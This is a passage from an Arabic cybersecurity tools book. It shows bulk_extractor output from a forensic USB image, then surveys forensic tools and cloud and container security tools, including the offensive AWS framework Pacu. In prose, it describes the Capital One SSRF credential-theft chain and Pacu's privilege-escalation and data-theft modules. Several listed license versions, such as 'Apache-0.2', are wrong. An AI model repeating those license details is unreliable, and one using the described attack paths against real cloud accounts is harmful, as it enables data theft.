estimated_date_completion: 2025-11-27 13:42:32
estimated_time_remaining:  0:00:01
fraction_read: 72.800000 %
max_offset: 1526726656
sbufs_created: 655452
```

```
sbufs_queued: 1
sbufs_remaining: 2
tasks_queued: 0
thread-2: 1526726656 process_sbuf (20971520)
thread_count: 2
================================================================================


All data read; waiting for threads to finish...
Phase 2. Shutting down scanners
Computing final histograms and shutting down...
Phase 3. Generating stats and printing final usage information
All Threads Finished!
Elapsed time: 6.077 sec.
Total MB processed: 2097
Overall performance: 345.1 MBytes/sec 172.5 (MBytes/sec/thread)
sbufs created:   655484
sbufs unaccounted: 0
Time producer spent waiting for scanners to process data:          0:00:03 (3.14 seco
Time consumer scanners spent waiting for data from producer:       0:00:00 (0.00 seco
Average time each consumer spent waiting for data from producer:  0:00:00 (0.00 secon
*** More time spent waiting for workers. You need a faster CPU or more cores for impr
Total email features found: 3

yaser@CyberBookio:~$ cd bulk_terry

yaser@CyberBookio:~/bulk_terry$ ls -lh
total 31M
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 aes_keys.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 alerts.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ccn_histogram.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ccn_track2_histogram.txt
```

```
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ccn_track2.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ccn.txt
-rw-rw-r-- 1 yaser yaser  67K Nov 27 13:42 domain_histogram.txt
-rw-rw-r-- 1 yaser yaser 7.3M Nov 27 13:42 domain.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 elf.txt
-rw-rw-r-- 1 yaser yaser  221 Nov 27 13:42 email_domain_histogram.txt
-rw-rw-r-- 1 yaser yaser  240 Nov 27 13:42 email_histogram.txt
-rw-rw-r-- 1 yaser yaser  840 Nov 27 13:42 email.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ether_histogram_1.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ether_histogram.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ether.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 evtx_carved.txt
-rw-rw-r-- 1 yaser yaser  505 Nov 27 13:42 exif.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 facebook.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 find_histogram.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 find.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 gps.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 httplogs.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ip_histogram.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ip.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 jpeg.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 json.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 kml_carved.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ntfsindx_carved.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ntfslogfile_carved.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ntfsmft_carved.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 ntfsusn_carved.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 pii_teamviewer.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 pii.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 rar.txt
-rw-rw-r-- 1 yaser yaser 309K Nov 27 13:42 report.xml
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 rfc822.txt
```

```
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 sin.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 sqlite_carved.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 tcp_histogram.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 tcp.txt
-rw-rw-r-- 1 yaser yaser  218 Nov 27 13:42 telephone_histogram.txt
-rw-rw-r-- 1 yaser yaser  720 Nov 27 13:42 telephone.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 unrar_carved.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 url_facebook-address.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 url_facebook-id.txt
-rw-rw-r-- 1 yaser yaser 3.0M Nov 27 13:42 url_histogram.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 url_microsoft-live.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 url_searches.txt
-rw-rw-r-- 1 yaser yaser  76K Nov 27 13:42 url_services.txt
-rw-rw-r-- 1 yaser yaser  18M Nov 27 13:42 url.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 utmp_carved.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 vcard.txt
-rw-rw-r-- 1 yaser yaser 1.5M Nov 27 13:42 windirs.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 winlnk.txt
drwxrwxr-x 3 yaser yaser 4.0K Nov 27 13:42 winpe_carved
-rw-rw-r-- 1 yaser yaser 6.5K Nov 27 13:42 winpe_carved.txt
-rw-rw-r-- 1 yaser yaser  75K Nov 27 13:42 winpe.txt
-rw-rw-r-- 1 yaser yaser    0 Nov 27 13:42 winprefetch.txt
drwxrwxr-x 3 yaser yaser 4.0K Nov 27 13:42 zip
-rw-rw-r-- 1 yaser yaser  39K Nov 27 13:42 zip.txt

yaser@CyberBookio:~/bulk_terry$ cat email.txt
# BANNER FILE NOT PROVIDED (-b option)
# BULK_EXTRACTOR-Version: 2.1.1
# Feature-Recorder: email
# Filename: terry-work-usb-2009-12-11.E01
# Feature-File-Version: 1.1
4518329 bug-gnu-gettext@gnu.org u\000g\000s\000 \000t\000o\000 \000<\000b\000u\000g\0
```

```
4555193 bug-gnu-gettext@gnu.org u\000g\000s\000 \000t\000o\000 \000<\000b\000u\000g\0
12816474        info@xceedsoft.com      6\0002\0006\000 \000 \000 \000 \000 \000i\000

yaser@CyberBookio:~/bulk_terry$ head -n 20 url.txt
# BANNER FILE NOT PROVIDED (-b option)
# BULK_EXTRACTOR-Version: 2.1.1
# Feature-Recorder: url
# Filename: terry-work-usb-2009-12-11.E01
# Feature-File-Version: 1.1
4174429 http://www.apple.com/DTDs/PropertyList-1.0.dtd  PLIST 1.0//EN" "http://www.ap
4227766 https://domex.nps.edu/domex/svn/src/m57patents/s_time_machine.txt_      s\000
4227834 https://domex.nps.edu/domex/svn/src/m57patents/ e_machine.txt_\020/https://do
4289206 https://domex.nps.edu/domex/svn/src/m57patents/s_patent.txt_    s\000bplist00
4289268 https://domex.nps.edu/domex/svn/src/m57patents/ /s_patent.txt_\020/https://do
4600502 https://domex.nps.edu/domex/svn/src/m57patents/s_cryptography.txt_      s\000
4600570 https://domex.nps.edu/domex/svn/src/m57patents/ ptography.txt_\020/https://do
4620982 https://domex.nps.edu/domex/svn/src/m57patents/s_copyright.txt_ s\000bplist00
4621047 https://domex.nps.edu/domex/svn/src/m57patents/ copyright.txt_\020/https://do
4633315 http://wiki.github.com/bard/mozrepl      gin at:\012#        http://wiki.gith
4641280 http://www.espn.com      \000\000\000\000\000\000\000\000\000\000\000\000\000
4641300 http://espn.go.com/      ://www.espn.com\012http://espn.go.com/\012http://spo
4641320 http://sports-ak.espn.go.com/nfl/index  ://espn.go.com/\012http://sports-ak.e
4641359 http://espn.go.com/nfl/clubhouse?team=pit        o.com/nfl/index\012http://es
4641401 http://espn.go.com/nfl/injuries/_/team/pit/pittsburgh-steelers  bhouse?team=p
```

تحميل: https://github.com/simsong/bulk_extractor

١٠.٨ Eric Zimmerman's Tools

نأتي الآن إلى مجموعة الأدوات التي تُعتبر العمود الفقري لأي تحقيق جنائي في أنظمة ويندوز. هذه المجموعة قدمت خدمة لا تقدر بثمن للمجتمع الأمني، وفكرتها (التي طورها Eric Zimmerman) تعتمد ببساطة على التخصص الدقيق؛ فبدلاً من أداة واحدة ضخمة تحاول فعل كل شيء، تم توفير أداة صغيرة وسريعة جداً لكل نوع من الأدلة داخل الويندوز.

الميزة البارزة في هذه الأدوات هي دقتها وسرعتها الكبيرة في استخراج المعلومات. إذا أردت تحليل ملفات Prefetch لمعرفة البرامج التي تم تشغيلها، استخدم PECmd. إذا أردت معرفة المجلدات التي فتحها المشتبه به، استخدم SBECmd لملفات ShellBags. كل أداة منها تخرج النتائج في ملفات CSV منظمة، وهنا يأتي دور الأداة المميزة Timeline Explorer المرفقة معها، التي تعرض النتائج وتتيح البحث والتصفية فيها كما في إكسل ولكن بقدرات جنائية عالية. باختصار، هي الترسانة الأساسية واليومية التي يعتمد عليها الخبراء لكشف المستور في نظام ويندوز.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Windows, Linux (via .NET Core)
التكلفة	مجاني
نوع الترخيص	MIT

مميزات أدوات Eric Zimmerman

تحميل: https://ericzimmerman.github.io/

خاتمة القسم: التحليل الجنائي والاستجابة للحوادث

في عالم التحليل الجنائي والاستجابة للحوادث، لا تنتهي القصة بتقرير الحادثة. الهدف النهائي ليس مجرد الإجابة على سؤال ماذا حدث؟ بل هو الإجابة على سؤال أكثر عمقاً من هو خصمنا؟ وكيف يعمل؟ هنا ننتقل من الاستجابة التكتيكية إلى بناء الاستخبارات الاستراتيجية.

التقرير التاريخي الذي أصدرته شركة Mandiant (الآن جزء من Google) في عام 2013 بعنوان APT1. لم يكن هذا مجرد تحليل لاختراق واحد، بل كان تتويجاً لسنوات من الاستجابة للحوادث عبر 141 ضحية مختلفة. من خلال التحليل الجنائي الدقيق، تمكن المحللون من ربط آلاف البقايا الأثرية الرقمية المنفصلة ببعضها البعض لبناء صورة متكاملة لواحد من أكثر الخصوم نشاطاً في العالم، والذي تم تعقبه لاحقاً إلى وحدة عسكرية صينية محددة (Unit 61398).

هذا الإنجاز لم يكن ممكناً لولا الأدوات التي استعرضناها، فمن خلال تحليل لا يحصى من صور الأقراص (Disk Images) باستخدام أدوات مثل The Sleuth Kit، تمكنوا من استعادة أدوات المهاجمين المخصصة حتى بعد حذفها. وعبر تشريح الذاكرة (Memory Forensics) باستخدام Volatility، كشفوا سلوك الأبواب الخلفية (Backdoors) التي تعمل في الذاكرة فقط لتجنب الكشف. كما أنهم من خلال بناء جداول زمنية فائقة (Super Timelines) باستخدام Plaso، تمكنوا من ربط نشاط المهاجم عبر أنظمة متعددة وتحديد تكتيكاتهم وتقنياتهم وإجراءاتهم (Tactics, Techniques, and Procedures - TTPs) بدقة، حتى أنهم حددوا ساعات عمل المهاجمين التي تتوافق مع التوقيت الرسمي الصيني.

تقرير APT1 أثبت أن مسؤوليتنا كخبراء في هذا المجال تتجاوز مجرد إغلاق تذكرة الحادثة. مهمتنا الحقيقية هي تحويل كل قطعة أثرية رقمية (Digital Artifact)، وكل مؤشر اختراق (IoC)، إلى لبنة في جدار المعرفة الاستخباراتية الذي يحمينا جميعاً. إنها عملية تحويل الفوضى بعد الهجوم إلى فهم عميق للخصم، وهذا الفهم هو أقوى سلاح نملكه لمنع الهجمات المستقبلية.

في النهاية، ما تكشفه لنا أدوات هذا الفصل هو أن المعرفة الجنائية ليست مجرد تقنية، بل هي قوة استراتيجية تعيد تشكيل فهمنا للخصم وتساعدنا على بناء دفاعات أكثر وعياً ونضجاً. لكن ساحة المعركة لا تبقى ثابتة، فبينما أتقنا الدفاع عن الشبكات التقليدية والأنظمة المحلية، انتقل جزء ضخم من بنيتنا التحتية اليوم إلى عالم جديد تماماً عالم السحابة والحاويات. هناك، تختلف القواعد، وتتغير الحدود، وتصبح الأخطاء الصغيرة في الإعدادات أخطر من الثغرات التقنية نفسها. ومن هنا تبدأ رحلتنا التالية، حيث ننتقل من تحليل آثار الماضي إلى حماية بيئات مرنة، ديناميكية، ومتغيرة باستمرار.

٩ أمن السحابة والحاويات

لقد غيرت الحوسبة السحابية والحاويات قواعد اللعبة في عالم تقنية المعلومات. لقد حررتنا من قيود الخوادم المادية، ومكنتنا من بناء ونشر التطبيقات بسرعة ومرونة لم نكن نحلم بها. لكن هذه الثورة جلبت معها نموذجاً أمنياً جديداً تماماً. لم يعد هناك محيط واضح للدفاع عنه، فقد تبخرت الحدود التقليدية للشبكة. أصبح الأمان الآن يعتمد على الهوية، والتكوين، وواجهات برمجة التطبيقات (APIs). إن خطأ بسيطاً في تكوين حاوية تخزين S3 أو دور IAM قد يحول بيئة كاملة إلى هدف مكشوف.

حادثة Capital One عام 2019 بدأت عندما استغل المهاجم ثغرة من نوع SSRF داخل أحد التطبيقات للوصول إلى خدمة بيانات التعريف في AWS وتحديدًا الإصدار الأول IMDSv1، ثم استخراج بيانات اعتماد مؤقتة مرتبطة بدور IAM مخصص للخادم. هذه البيانات منحت صلاحيات تسمح بتنفيذ أوامر على مستوى الخدمات السحابية، وتم استخدامها للوصول إلى دلائل S3 وقراءة بيانات حساسة مخزنة هناك نتيجة منح الصلاحيات بشكل موسع وعدم ضبط إعدادات الحماية بشكل صارم. بهذه السلسلة من الخطوات التقنية، انتقل الهجوم من واجهة تطبيق إلى السيطرة على بيانات سحابية حساسة دون الحاجة إلى ثغرات Zero-day، وإنما بسبب تكوينات غير محمية وإدارة صلاحيات غير دقيقة.

لكن التحدي في السحابة لا يتعلق فقط بالتكوينات الخاطئة، بل بطبيعة المنصة نفسها. فالسحابة مبنية على نموذج مسؤولية مشتركة (Shared Responsibility Model)، وهذا يعني أن مقدم الخدمة يحمي البنية الأساسية، بينما تقع على عاتقنا حماية كل ما فوقها من الهوية، الأذونات، التكوين، وسلسلة التوريد البرمجية. في بيئات مثل AWS أو Azure، لم يعد الهجوم يبدأ عادةً بثغرة نظام تشغيل، بل بهوية قوية تم إساءة استخدامها. مهاجم يحصل على دور IAM واسع الصلاحيات يمكنه تنفيذ ما يعادل اختراقاً داخلياً، من قراءة بيانات S3 إلى تشغيل موارد حوسبية والتحكم في البنية ذاتها. الصورة تصبح أخطر عندما تمتد السلسلة إلى خطوط التطوير CI/CD، حيث يمكن لمفتاح مسرب أو رمز وصول مكشوف أن يفتح الطريق للوصول إلى الأكواد، صور الحاويات، وحتى بيئات الإنتاج. وفي منصات الحاويات مثل Kubernetes، خطأ في سياسات RBAC أو نشر حاوية بامتيازات عالية قد يؤدي إلى هجوم تجاوز الحاوية Container Escape والوصول إلى العقدة المضيفة بالكامل. هذه ليست سيناريوهات نظرية، بل أحداث تتكرر في الواقع يومياً.

هذا الفصل مخصص للأدوات التي تم بناؤها خصيصاً لمواجهة هذه التحديات الجديدة. إنها أدوات مصممة لعالم ديناميكي ومبرمج. من Scout Suite وProwler، اللذين يعملان كمدققين آليين يفحصان باستمرار بيئتنا السحابية بحثاً عن أي تكوين خاطئ، إلى Trivy الذي يفحص سلسلة التوريد البرمجية لدينا (صور الحاويات) بحثاً عن مكونات ضعيفة. كما تتضمن هذه المجموعة أدوات الأمان ككود مثل Checkov، التي تدمج الفحوصات الأمنية مباشرة في عملية التطوير لمنع الخطأ قبل أن يتحول إلى حادثة. إن إتقان هذه الأدوات ليس رفاهية تقنية، بل هو شرط أساسي لأي مؤسسة تعتمد على السحابة وتريد حماية بنيتها الحديثة بثقة ووعي.

١.٩ Scout Suite

نبدأ هذا القسم بالأداة الأولى والتي تعتبر المنقذ لفرق أمن السحابة، وهي Scout Suite من مجموعة NCC Group. المشكلة الأساسية في اختراقات السحابة اليوم ليست الثغرات البرمجية، بل الإعدادات الخاطئة أو Misconfigurations.

من المستحيل بشرياً مراجعة آلاف الإعدادات في بيئات ضخمة مثل AWS أو Azure أو GCP يدوياً.

الميزة البارزة في Scout Suite أنها تعمل كمدقق آلي ذكي للغاية؛ حيث تتصل بواجهات API الخاصة بحسابك السحابي، وتسحب جميع التكوينات، وتقارنها فوراً مع أفضل الممارسات الأمنية العالمية. والأهم من ذلك هو المخرج النهائي، فهي لا تعطيك ملفاً نصياً مملاً، بل تولد تقرير HTML تفاعلياً مليئاً بالرسوم البيانية يوضح لك أماكن الخطر بدقة، سواء كان تخزيناً سحابياً مفتوحاً للعامة أو صلاحيات مفرطة للمستخدمين. لذلك، تُعد أداة أساسية لضمان أن سحابتك مؤمنة بإحكام.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.2

مميزات أداة Scout Suite

تحميل: https://github.com/nccgroup/ScoutSuite

٢.٩ Prowler

الأداة التي تُعتبر المدقق الشامل والحل الأمثل لفرق الامتثال والأمن السحابي، وهي Prowler. هذه الأداة المفتوحة المصدر نقلت مفهوم فحص السحابة إلى مستوى آخر تماماً، خصوصاً لبيئات AWS وAzure وGoogle Cloud. المشكلة في السحابة أن المعايير الأمنية كثيرة ومعقدة، لكن Prowler تأتي محملة بأكثر من 400 فحص جاهز تتوافق مع أصعب المعايير العالمية مثل CIS Benchmarks وGDPR وISO 27001.

الميزة البارزة في Prowler أنها لا تكتفي بكشف الثغرات، بل تعمل كضابط امتثال آلي يفحص إدارة الهويات IAM والشبكات والتشفير للتأكد من مطابقة القوانين. وبما أنها تدعم التكامل مع أدوات CI/CD وتُخرج تقارير مفصلة بصيغ متعددة مثل HTML وJSON، فهي تُعد الأداة الأساسية التي تعتمد عليها فرق DevSecOps لضمان أن البيئة السحابية آمنة وممتثلة للمعايير بشكل مستمر وتلقائي.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Prowler

تحميل: https://github.com/prowler-cloud/prowler

٣.٩ Pacu

نستعرض الآن إلى الأداة التي تُعتبر بمثابة Metasploit ولكن لعالم السحابة وتحديداً بيئة AWS، وهي إطار عمل Pacu. اختبار اختراق البيئات السحابية يختلف تماماً عن الشبكات التقليدية، وهنا تظهر قوة هذه الأداة (من تطوير Rhino Security Labs) التي توفر منصة هجومية موحدة ومنظمة بدلاً من استخدام سكربتات متناثرة.

الميزة البارزة في Pacu هي تصميمها المعياري؛ فهي تحتوي على وحدات Modules جاهزة لاستهداف خدمات محددة مثل EC2 وS3 وIAM. من خلال واجهتها التفاعلية يمكنك تنفيذ هجمات معقدة مثل رفع الصلاحيات أو سرقة البيانات أو تعطيل الخدمات بشكل متسلسل ومنظم. كما تحل مشكلة كبيرة وهي صعوبة تتبع الهجمات في السحابة، حيث تقوم بحفظ الجلسات والبيانات المستخرجة محلياً لتتمكن من العودة إليها وتحليلها لاحقاً، مما يجعلها السلاح الأساسي لأي فريق أحمر يستهدف بنية AWS التحتية.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	BSD-3-Clause

مميزات أداة Pacu

تحميل: https://github.com/RhinoSecurityLabs/pacu

٤.٩ Trivy

الأداة التي تُعتبر الحارس الأمين لعالم الحاويات والبرمجيات الحديثة، وهي Trivy من شركة Aqua Security. التحول إلى تقنيات Docker وKubernetes خلق تحدياً كبيراً، حيث يستخدم المطورون صوراً ومكتبات جاهزة قد تكون مليئة بالثغرات دون علمهم. هنا تأتي Trivy لتحل هذه المعضلة من خلال مسح شامل وسريع للغاية.

الميزة البارزة في هذه الأداة هي شموليتها؛ فهي لا تكتفي بفحص نظام التشغيل داخل الحاوية، بل تغوص أيضاً لفحص تبعيات لغات البرمجة مثل Python وNode.js، وحتى ملفات البنية التحتية (IaC) مثل Terraform. وبما أنها صُممت لتكون سهلة الاستخدام وتعمل بأمر واحد، فقد أصبحت الأداة الأساسية التي يتم دمجها في خطوط الإنتاج (CI/CD) لضمان عدم نشر أي كود أو حاوية إلا بعد التأكد من خلوها من الثغرات، مما يغلق الباب أمام هجمات سلاسل التوريد (Supply Chain Attacks).

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Trivy

تحميل: https://github.com/aquasecurity/trivy

٥.٩ Kube-bench

الأداة التي تُعتبر المرجع الأساسي والمدقق الآلي لتأمين بيئات Kubernetes، وهي Kube-bench. إدارة عناقيد Kubernetes معقدة جداً، وأكبر تحدٍ يواجه المسؤولين هو التأكد من أن الإعدادات آمنة فعلاً ومتوافقة مع المعايير العالمية، لأن الإعدادات الافتراضية غالباً لا تكون آمنة بما يكفي.

الميزة البارزة في هذه الأداة (من تطوير Aqua Security) أنها تأخذ كتاب معايير CIS Benchmark الضخم والمعقد وتحوله إلى فحص آلي سريع جداً. بدلاً من المراجعة اليدوية المملة للأكواد، تقوم الأداة بفحص كل زاوية في العنقود Cluster، بداية من عقد التحكم Control Plane وصولاً إلى العقد العاملة Worker Nodes وإعدادات etcd. والأهم من ذلك أنها تعطيك تقريراً واضحاً يوضح لك أماكن النجاح والفشل مع الحلول المقترحة للإصلاح. باختصار، هي أداة لا غنى عنها لأي مسؤول أنظمة يريد أن يطمئن إلى أن بنيته التحتية مبنية على أساس أمني صلب ومعتمد عالمياً.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Kube-bench

تحميل: https://github.com/aquasecurity/kube-bench

٦.٩ Falco

عندما نتحدث عن أمان الحاويات وتقنيات Kubernetes الحديثة، فالاسم الأول الذي يتردد كمعيار صناعي هو Falco. هذا المشروع المفتوح المصدر (المنبثق من مؤسسة CNCF العريقة) يمثل كاميرا المراقبة الذكية واللحظية داخل البنية التحتية السحابية. الفرق الجوهري بينه وبين أدوات الحماية التقليدية هو مكان عمله؛ فهو لا يعمل كبرنامج عادي، بل يزرع نفسه في أعمق نقطة في النظام وهي النواة (Kernel) باستخدام تقنية eBPF الثورية.

الميزة البارزة في Falco أنه يراقب كل استدعاء نظام (System Call) في الوقت الفعلي. ببساطة، إذا حاولت حاوية (Container) من المفترض أنها تشغل موقع ويب فقط أن تفتح صدفة أوامر (Shell) فجأة، أو تحاول قراءة ملفات حساسة غير مصرح لها بها، فإن Falco يكشف هذا السلوك الشاذ فوراً ويرسل تنبيهاً مباشراً لأنظمتك مثل Slack. وبما أن قواعده تُكتب بصيغة YAML الواضحة، فهو يمنح المهندسين والطلاب قدرة هائلة على تخصيص السياسات الأمنية بدقة متناهية، مما يجعله الحارس الأمين للبيئات السحابية الأصلية (Cloud-Native).

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Falco

تحميل: https://falco.org

٧.٩ Checkov

أداة تحليل ثابت (Static Analysis) متقدمة ومفتوحة المصدر طورتها شركة Bridgecrew (المملوكة لـ Palo Alto Networks)، متخصصة في فحص البنية التحتية ككود (Infrastructure as Code - IaC) والكشف عن التكوينات الخاطئة والثغرات الأمنية قبل النشر في بيئات الإنتاج. تدعم الأداة أكثر من 50 نوعًا من الملفات والتقنيات، بما في ذلك Terraform وCloudFormation وKubernetes وHelm وDocker وARM Templates وServerless Framework. تحتوي على أكثر من 1000 سياسة أمنية مدمجة تغطي معايير الأمان العالمية مثل CIS وPCI-DSS وHIPAA وGDPR. ما يميز Checkov هو دعمها للذكاء الاصطناعي من خلال ميزة AI-powered fixes التي تقترح تلقائيًا تصحيحات للمشاكل المكتشفة. تتكامل بسلاسة مع أدوات CI/CD وGit وتوفر تقارير مفصلة بصيغ متعددة، مما يجعلها أداة أساسية لممارسات DevSecOps وتحويل الأمان إلى اليسار (Shift-Left Security).

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Checkov

تحميل: https://www.checkov.io

٨.٩ Cloud Custodian

الأداة التي تُعتبر المدير الآلي وحجر الزاوية لحوكمة السحابة في المؤسسات الكبرى، وهي Cloud Custodian. مع توسع الاعتماد على السحابة، يصبح من المستحيل بشرياً مراقبة آلاف الخوادم ووحدات التخزين للتأكد من أنها آمنة أو غير مكلفة. هنا تأتي هذه الأداة (التي طورها فريق Capital One) لتحل المشكلة جذرياً عن طريق تحويل السياسات الورقية إلى أكواد برمجية تعمل ذاتياً.

الميزة البارزة في Cloud Custodian هي بساطتها وقوتها في آن واحد؛ فهي تعتمد على ملفات YAML بسيطة جداً ومقروءة. ببساطة، يمكنك كتابة قاعدة تقول إذا وجدت قرص تخزين غير مشفر، احذفه فوراً، أو إذا وجدت خادماً يعمل

في الليل دون استخدام، أطفئه لتوفير المال. الأداة تطبق هذه القواعد على بيئات AWS وAzure وGCP بشكل موحد، وتعمل بصمت وكفاءة عالية عبر Serverless Functions، مما يجعلها الأداة الأولى لفرض الامتثال وخفض الفواتير السحابية بشكل آلي تماماً.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, macOS, Windows
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Cloud Custodian

تحميل: https://cloudcustodian.io

٩.٩ Terrascan

عندما نتحدث عن شركة عملاقة مثل Tenable صاحبة الأداة الشهيرة Nessus، فنحن نتوقع أداة من العيار الثقيل، وهذا بالضبط ما تقدمه أداة Terrascan. هذه الأداة المفتوحة المصدر جاءت لتحل مشكلة جوهرية في عالم DevOps، وهي كيفية اكتشاف الثغرات في البنية التحتية قبل أن يتم بناؤها فعلياً.

الميزة البارزة في Terrascan هي شموليتها المذهلة؛ فهي لا تفحص فقط أكواد Terraform، بل تمتد لتشمل Docker وKubernetes وHelm وحتى CloudFormation. وتعتمد في قوتها على محرك OPA ولغة Rego، مما يعني أنك تستطيع كتابة سياسات أمنية مخصصة جداً لبيئتك أو الاعتماد على أكثر من 500 سياسة جاهزة تغطي أهم المعايير العالمية. باختصار، هي الأداة التي تضمن لك أن الكود الذي تكتبه اليوم لن يتحول إلى ثغرة أمنية غداً عند النشر.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Terrascan

تحميل: https://github.com/tenable/terrascan

١٠.٩ Grype

نختم هذا القسم بأداة مميزة تعتبر مسك الختام والمنافس الشرس في عالم أمان الحاويات وسلاسل التوريد، وهي Grype من شركة Anchore. صُممت هذه الأداة لتكون الحل السريع والسهل للمطورين الذين لا يملكون وقتاً لإعدادات معقدة. فكرتها ببساطة أنك تستطيع بأمر واحد فحص صورة حاوية Docker أو مجلد كامل والحصول على النتائج فوراً دون الحاجة لتثبيت قواعد بيانات خارجية أو ضبط إعدادات السيرفر.

الميزة البارزة في Grype هي دقتها العالية في اكتشاف الثغرات داخل تبعيات لغات البرمجة المختلفة مثل Java وPython وGo وليس فقط نظام التشغيل. والأهم من ذلك للمؤسسات هو دعمها القوي لمعايير SBOM (قائمة مكونات البرمجيات) مثل CycloneDX، مما يجعلها أداة محورية لفرق DevSecOps لضمان أن سلاسل التوريد البرمجية نظيفة وآمنة قبل الوصول لمرحلة الإنتاج.

الخاصية	القيمة
مستوى المهارة المطلوب	مبتدئ
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	Apache-0.2

مميزات أداة Grype

تحميل: https://github.com/anchore/grype

خاتمة القسم: أمن السحابة والحاويات

أصبح أمان السحابة والحاويات مجالاً لا يمكن تجاهله في الأمن السيبراني الحديث. الدرس الأكبر الذي نتعلمه من هذا التحول هو أن الأمان لم يعد مرحلة أخيرة، بل يجب أن يكون جزءاً لا يتجزأ من كل خطوة في دورة حياة التطوير والنشر (DevSecOps). الأدوات المعروضة في هذا الفصل هي التي تمكننا من تحقيق ذلك. إنها تسمح لنا بأتمتة الأمان،

وتحويله من عملية يدوية بطيئة إلى جزء مبرمج ومتكرر من بنيتنا التحتية. في عالم السحابة، الأمان ككود (Security as Code) ليس مجرد شعار، بل هو ضرورة. من خلال استخدام هذه الأدوات لتدقيق التكوينات، وفحص التعليمات البرمجية، ومراقبة البيئات السحابية (Cloud Environments)، يمكننا بناء أنظمة ليست فقط قوية ومرنة، بل آمنة بطبيعتها منذ اليوم الأول.

في هذا العالم الذي أصبحت فيه الهجمات أكثر ذكاءً وتعقيداً، لم يعد كافياً أن نكتشف الاختراق أو نوقفه فقط أحياناً نحتاج إلى فهم ما يجري داخل العقول الرقمية التي تهاجمنا. هنا ننتقل من تحليل السلوك الخارجي إلى تفكيك الكود ذاته، من مراقبة النتائج إلى دراسة السبب الجذري. هنا يبدأ دور الهندسة العكسية، حيث لا نكتفي بملاحظة البرمجية الخبيثة، بل ندخل إلى داخلها، نقرأ منطقها، ونكشف نية صانعها الحقيقية.

١٠ الهندسة العكسية (Reverse Engineering)

إذا كانت معظم تخصصات الأمن السيبراني تتعامل مع سلوك الأنظمة الخارجي، فإن الهندسة العكسية هي فن قراءة عقلها الداخلي. إنها ليست مجرد عملية تفكيك، بل هي عملية ترجمة من لغة الآلة الصماء، لغة الأصفار والآحاد، إلى لغة المنطق البشري. هذا المجال هو البحث العملي في أنقى صوره داخل عالم الأمن السيبراني، حيث لا توجد إجابات جاهزة، وكل ملف ثنائي هو لغز ينتظر من يحل شفرته. إنه المكان الذي نواجه فيه إبداع وخبث المهاجمين على المستوى الأكثر جوهرية.

